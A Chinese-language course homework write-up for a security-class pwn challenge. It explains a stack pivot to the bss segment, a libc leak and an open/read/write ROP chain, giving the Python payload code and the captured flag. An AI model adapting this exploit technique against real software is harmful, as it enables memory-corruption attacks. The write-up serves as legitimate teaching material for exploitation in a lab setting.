--- tags: 資訊安全實務 --- # HW10 # Survey 這題如同上課demo過的...,由於我們能輸入的stack overflow長度有限,所以目標是要stack pivot到一個可寫且很大的區域,之後在上面任意寫我們要的rop chain,總體目標如下 * stack pivot到bss段,如圖中最後一段那可寫的區域裡面  * 目標在那段寫上rop chain * 拿到flag 如上課所說的,先將stack移到那個可寫區域後,再去執行一次main,讓裡面殘留者main裡面call過的function後再去leak libc的address,之後就是為了要任意寫在寫一個rop chain來去call gets * `payload = p64(code_base + pop_rdi) + p64(code_base + bss - 0x08) + p64(libc_base + gets_off) + p64(0) + p64(code_base + bss - 0x20 - 0x8) + p64(code_base + leave_off)` * gets的rdi表示他要寫的位置,我們將rdi push成stack的rsp,就能夠在這塊stack上任意寫 * rsp的位置就是在stack存gets的下面一個,gets放在bss - 0x10,故rsp在bss - 0x08 * 之後就是要完成rop chain,因為不能call system,只有open、read及write * 所以做法就是要把flag的檔案open起來後再read到某段記憶體在寫到stdout * payload如下 ```python! local_path = b'./share/flag' remote_path = b'/home/survey/flag' str_path_off = 0x4de8 #code_base + str_path_off is save addr of "...../flag" syscall_gadget = 0xcf6c5 pop_rdx = 0x12bda6 pop_rsi = 0x26f9e pop_rax = 0x47cf8 pop_rdi = 0x1353 push_rax = 0x42eef #fd -> 0 stdin 1 stdout 2 stderr 3 other #input rop chain (open, write and read) to get flag payload = p64(code_base + pop_rdi) + p64(code_base + str_path_off) +\ p64(libc_base + pop_rsi) + p64(0) +\ p64(libc_base + pop_rdx) + p64(0) +\ p64(libc_base + pop_rax) + p64(2) +\ p64(libc_base + syscall_gadget) +\ p64(code_base + pop_rdi) + p64(3) +\ p64(libc_base + pop_rsi) + p64(code_base + str_path_off) +\ p64(libc_base + pop_rdx) + p64(100) +\ p64(libc_base + pop_rax) + p64(0) +\ p64(libc_base + syscall_gadget) +\ p64(code_base + pop_rdi) + p64(1) +\ p64(libc_base + pop_rsi) + p64(code_base + str_path_off) +\ p64(libc_base + pop_rdx) + p64(100) +\ p64(libc_base + pop_rax) + p64(1) +\ p64(libc_base + syscall_gadget) +\ p64(0) + p64(0) + p64(0) +\ local_path r.sendline(payload) res = r.recvline() print(res) ``` 完成這段rop chain後就能夠成功將flag讀入後輸出到stdout,成功看到flag FLAG ``` FLAG{7h4nks_f0r_y0ur_f33dback} ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up